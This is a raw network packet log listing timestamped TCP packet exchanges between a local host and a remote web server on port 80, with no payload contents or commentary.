Oct 18, 2024 15:04:58.384485006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384500980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384505987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384521008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384545088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384550095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384557962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384567976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384586096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384599924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384617090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384634972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384650946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384654045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384654045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384671926 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385284901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385396957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385412931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385447025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385459900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385482073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385499001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385518074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385535002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385551929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385567904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385579109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385579109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385607958 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385612011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385632992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385649920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385665894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385684013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385684013 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385740042 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385747910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385766029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385802031 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385849953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385865927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385925055 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.385941029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385957003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385984898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.385989904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386003971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386019945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386037111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386064053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386068106 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386068106 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386101007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386116982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386118889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386137009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386163950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386183023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386198997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386219025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386219025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386244059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386260033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386275053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386296034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386296034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386360884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386377096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386393070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386410952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386424065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386424065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386429071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386449099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386491060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386518002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386534929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386552095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386591911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386591911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386605024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386620998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386636972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386655092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386672020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386715889 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386755943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386774063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386790037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386804104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386821032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386837006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386852980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386853933 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386853933 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386871099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386889935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386890888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386909962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.386981010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.386981010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387100935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387116909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387132883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387149096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387192011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387196064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387212992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387233973 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387243032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387258053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387290001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387305975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387320995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387336969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387352943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387370110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387378931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387378931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387378931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387378931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387398005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387418985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387432098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387521029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387537003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387553930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387571096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387582064 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387582064 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.387593031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.387612104 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403305054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403321028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403340101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403366089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403381109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403414965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403415918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403415918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403455973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403471947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403487921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403506041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403508902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403508902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403544903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403565884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403580904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403594017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403618097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403637886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403652906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403667927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403686047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403752089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403760910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403779030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403795958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403810978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403822899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403830051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403846025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403846979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403862953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403894901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403909922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403925896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403945923 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403945923 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.403983116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.403999090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404011965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404021978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404021978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404079914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404095888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404110909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404125929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404128075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404128075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404144049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404158115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404162884 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404217958 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404335976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404369116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404383898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404455900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404479027 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404483080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404501915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404505014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404519081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404535055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404551029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404572964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404582977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404628992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404644966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404659986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404675961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404685974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404692888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404726028 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404735088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404751062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404767990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404779911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404795885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404798985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404855967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404870987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.404911041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.404911041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405060053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405106068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405122995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405164957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405179024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405195951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405213118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405225992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405241966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405257940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405273914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405287027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405292034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405292034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405292034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405303955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405332088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405344963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405359030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405378103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405395985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405395985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405395985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405488014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405489922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405503035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405520916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405536890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405554056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405563116 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405570984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405657053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405668020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405668020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405673027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405689955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405705929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405716896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405721903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405738115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405766964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405807972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405833006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405848026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405868053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405884027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405899048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405901909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405915976 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405915976 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405915976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405932903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405947924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405947924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.405965090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.405982018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.406017065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.406017065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.406137943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.406152964 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.406168938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.406183958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.406198978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.406244040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.406244040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.406244993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407063007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407078981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407095909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407149076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407165051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407166004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407181978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407186031 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407201052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407318115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407330036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407335043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407351017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407366991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407391071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407407999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407407999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407416105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407437086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407470942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407474041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407488108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407488108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407505035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407526016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407601118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407617092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407633066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407649040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407664061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407665014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407677889 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407684088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407695055 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407701015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407721043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407766104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407788992 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407951117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.407965899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407980919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.407996893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.408011913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.408027887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.408042908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.408052921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.408052921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.408060074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.408078909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.408094883 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.408094883 CEST	80	50042	185.215.113.103	192.168.2.4
